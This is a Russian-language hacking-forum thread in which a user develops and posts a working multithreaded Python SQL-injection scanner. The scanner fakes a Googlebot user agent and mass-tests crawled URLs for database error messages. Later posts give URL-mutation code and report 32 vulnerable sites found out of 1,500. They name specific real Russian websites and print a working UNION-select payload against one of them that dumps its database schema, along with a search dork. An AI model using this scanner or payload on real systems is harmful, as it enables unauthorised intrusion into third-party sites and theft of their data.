Сканнер sql-инъекций

Discussion in 'Болталка' started by extjs, 26 Jun 2017.

  1. extjs

    extjs Member

    Joined:
    23 Jun 2013
    Messages:
    31
    Likes Received:
    6
    Reputations:
    0
    Вообщем, появилась такая идея. Сначала я ее реализовал в лоб. Написал краулера на питоне, который в 100 потоков ходит по ссылкам на сайте и подставляет в конец %27. Инъекции находит... но сайт отправляет в даун после 100.000 запросов (за пару минут). Слишком палевно. Вообщем я ищу способ как находить похожие ссылки на сайте, например, есть ссылки /news/1 ... /news/100500. Совершенно очевидно, что не нужно проверять 100500 ссылок, достаточно проверить только /news/1%27. Я тупенький и ничего в голову не лезет.
     
  2. extjs

    extjs Member

    Joined:
    23 Jun 2013
    Messages:
    31
    Likes Received:
    6
    Reputations:
    0
    Регулярка для поиска инъекций на странице. Может кому пригодится:

    PHP:
    r'mysqli?_fetch\w+\(\)|You have an error in your SQL syntax|DB query error'
    DB query error - это ошибка Битрикса. Данная CMS весьма распространнена в Рунете.
     
  3. BabaDook

    BabaDook Well-Known Member

    Joined:
    9 May 2015
    Messages:
    1,063
    Likes Received:
    1,559
    Reputations:
    40
    А если слепая или пост, или в хедере?
     
  4. extjs

    extjs Member

    Joined:
    23 Jun 2013
    Messages:
    31
    Likes Received:
    6
    Reputations:
    0
    Набросок на javascript (реализовать можно на любом языке)

    PHP:
    var test_urls = new Set()
    // получаем все ссылки на странице
    var urls = [...document.getElementsByTagName('a')]
    // дефрагментизация
    .map(link => link.href.replace(/#.*/, ''))
    console.log(urls.length// 404
    // выбираем уникальные ссылки
    var unique_urls = new Set(urls)
    console.log(unique_urls.size// 402
    for (let url of unique_urls) {
      
    url = new URL(url)
      if (
    url.search) {
        
    // заменяем значения параметров
        
    for (let k of url.searchParams.keys()) {
          
    url.searchParams.set(k"'")
        }
        
    test_urls.add(url.toString())
      } 
    /* что-то придумать */
    }
    console.log(test_urls.values())

    VM331:6 404
    VM331
    :9 402
    VM331
    :20 SetIterator {"http://www.useragentstring.com/pages/useragentstring.php?name=%27""http://www.useragentstring.com/pages/useragentstring.php?typ=%27"}
    Вместо 404(402) ссылок нужно проверить только две. Я вот сейчас думаю как ссылки типа /news/123 к каноническому виду привести. Повсеместно используется mod_rewrite и в этом большая сложность. Но 100500 запросов к серверу делать совсем не вариант.
     
  5. extjs

    extjs Member

    Joined:
    23 Jun 2013
    Messages:
    31
    Likes Received:
    6
    Reputations:
    0
    Вообщем, по-ходу то что я хочу никак и не сделать. Поэтому сканнер останется в таком виде:

    PHP:
    import argparse
    import logging
    import queue
    import re
    import threading

    from urllib
    .request import HTTPRedirectHandlerRequestbuild_opener


    MAX_THREADS 
    100
    # TODO: добавить больше правил
    SQL_ERROR_RE re.compile((
      
    # mysql/mysqli
      
    r'mysqli?_fetch\w+\(\)|'
      
    # pdo
      
    r'You have an error in your SQL syntax|'
      
    # Bitrix
      
    r'DB query error'
    ))


    logger logging.getLogger('SQLiScanner')


    class 
    RedirectHandler(HTTPRedirectHandler):

      
    def redirect_request(selfreqfpcodemsgheadersnewurl):
        
    pass


    class Scanner(threading.Thread):

      
    def __init__(selfurlsvulnlockstop):
        
    super().__init__()
        
    self.urls urls
        self
    .vuln vuln
        self
    .lock lock
        self
    .stop stop
        self
    .daemon True
        self
    .start()

      
    def run(self):
        while 
    not self.stop.is_set():
          try:
            
    url self.urls.get_nowait()
          
    except queue.Empty:
            continue
          try:
            
    # WHERE id = '" . mysqli_real_escape_string($link, trim($_GET['id'])) . "' ...
            # encodeURIComponent("'-- [")
            
    url url.replace('*'"'--%20%5B")
            
    req Request(urlheaders={'User-Agent'self.user_agent()})
            
    opener build_opener(RedirectHandler())
            
    with opener.open(reqtimeout=5) as resp:
              
    headers resp.info()
              
    content resp.read()
              
    encoding headers.get_content_charset('utf-8')
              
    content content.decode(encoding'replace')
              
    match SQL_ERROR_RE.search(content)
              if 
    match:
                
    with self.lock:
                  
    logger.info('SQL Error "%s" at url "%s".'match.group(0), url)
                  
    self.vuln.append(url)
          
    except Exception as e:
            
    with self.lock:
              
    logger.error(e)
          finally:
            
    self.urls.task_done()

      
    def user_agent(self):
        
    # TODO: сделать рандомный юзер-агент
        
    return 'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)'


    def to_queue(o):
      
    queue.Queue()
      for 
    x in o:
        
    q.put(x)
      return 
    q


    def scan
    (urls):
      
    urls to_queue(urls)
      
    num_threads min(urls.qsize(), MAX_THREADS)
      
    vuln = []
      
    lock threading.Lock()
      
    stop threading.Event()
      
    logger.info('Start scanning.')
      
    threads = [Scanner(urlsvulnlockstop) for _ in range(num_threads)]
      
    urls.join()
      
    stop.set()
      for 
    t in threads:
        
    t.join()
      
    logger.info('Scanning finished. Vulnarable urls: %d.'len(vuln))
      return 
    vuln


    if __name__ == '__main__':
      
    logging.basicConfig(level=logging.DEBUG)
      
    parser argparse.ArgumentParser(description='SQLiScanner by [email protected].')
      
    parser.add_argument('-f''--file', default='urls.txt'help='file with test urls'type=str)
      
    parser.add_argument('-o''--out', default='vuln.txt'help='output file with vulnarable urls'type=str)
      
    args parser.parse_args()
      
    with open(args.file'r'encoding='utf-8') as fp:
        
    # urls = map(str.strip, fp.readlines())
        
    urls = [line.strip() for line in fp]
      
    vuln scan(urls)
      
    # >>> sorted(['b', 'ba', 'abc', 'cab', 'a'])
      # ['a', 'abc', 'b', 'ba', 'cab']
      
    vuln sorted(vuln)
      
    with open(args.out'w'encoding='utf-8') as fp:
        
    fp.write('\n'.join(vuln))
    Code:
    D:\Projects\SQLiScanner>python sqliscanner.py
    INFO:SQLiScanner:Start scanning.
    INFO:SQLiScanner:Found "You have an error in your SQL syntax" at url "https://pravda-zdorovo.ru/catalog-next/9'--%20[".
    INFO:SQLiScanner:Scanning finished.
    Press any key to exit.
    
     
    #5 extjs, 26 Jun 2017
    Last edited: 26 Jun 2017
  6. extjs

    extjs Member

    Joined:
    23 Jun 2013
    Messages:
    31
    Likes Received:
    6
    Reputations:
    0
    http://www.ratsp.ru/organization/contacts'

    сейчас сканнер работает по сл принципу: краулер заходит на главную сайта, собирает с нее сылки, а потом сканнер их проверяет. тупо брут
     
  7. RWD

    RWD Member

    Joined:
    25 Apr 2013
    Messages:
    157
    Likes Received:
    41
    Reputations:
    2
    Тупо сканить на кавычку бред, как уже было выше сказано о блин и тайм бейсед скулях, да там еще туча чего что может инжектиться... Все что найдет по кавычке миллионы раз юзанное, слитое по 100500 раз,не интересное уг, ну МОЖЕТ быть из миллиона сайтов парочку стоящих так и найдется.
     
    #7 RWD, 27 Jun 2017
    Last edited: 27 Jun 2017
  8. extjs

    extjs Member

    Joined:
    23 Jun 2013
    Messages:
    31
    Likes Received:
    6
    Reputations:
    0
    Вот этой функцией заменяю фрагменты url на *, а звездочку потом на кавычку

    PHP:
    def inject(url):
      
    schemenetlocpathqueryfragment urlsplit(url)[:5]
      if 
    query:
        
    # a=b&c=d -> a=*&c=*
        
    query '&'.join(['=*' for kv in parse_qsl(query)])
      
    elif path.endswith('/') and path != '/':
        
    # /a/b/ -> /a/*/
        
    path re.sub(r'[^/]+/$''*/'path)
      else:
        
    # /a/b -> /a/*
        
    path re.sub(r'[^/]+$''*'path)
      return 
    urlunsplit((schemenetlocpathqueryfragment))
    Code:
    http://www.bankist.ru/%27/
    http://www.bankist.ru/article/%27/
    http://www.bankist.ru/article/040617/%27/
    http://www.bankist.ru/article/050617/%27/
    http://www.bankist.ru/article/200617/%27/
    http://www.bankist.ru/article/230617/%27/
    http://www.bankist.ru/article/280517/%27/
    http://www.bankist.ru/article/300517/%27/
    http://www.bankist.ru/article/310517/%27/
    http://www.bankist.ru/article/all/page/%27/
    http://www.bankist.ru/article/category/%27/
    http://www.bankist.ru/article/show/%27/
    http://www.bankist.ru/blogs/%27/
    http://www.bankist.ru/news/%27/
    http://www.bankist.ru/news/archive/all/page/%27/
    http://www.bankist.ru/page/%27/
    http://www.bankist.ru/userhome/%27/
    Из 1500 сайтов за 5 минут обнаружил 32 уязвимых.

    Например:
    Code:
    http://uyutmarket.ru/news/?news_id=-192+union+select+1,(select(@)from(select(@:=0x00),(select(0)from(information_schema.columns)where(table_schema!=0x696e666f726d6174696f6e5f736368656d61)and(0x00)in(@:=concat(@,0x3c6c693e,table_schema,0x2e,table_name,0x3a,column_name))))a),3,4,5,6,7,8,9,10
    Через гугл не палится:

    Code:
    site:uyutmarket.ru You have an error
     
    #8 extjs, 27 Jun 2017
    Last edited: 27 Jun 2017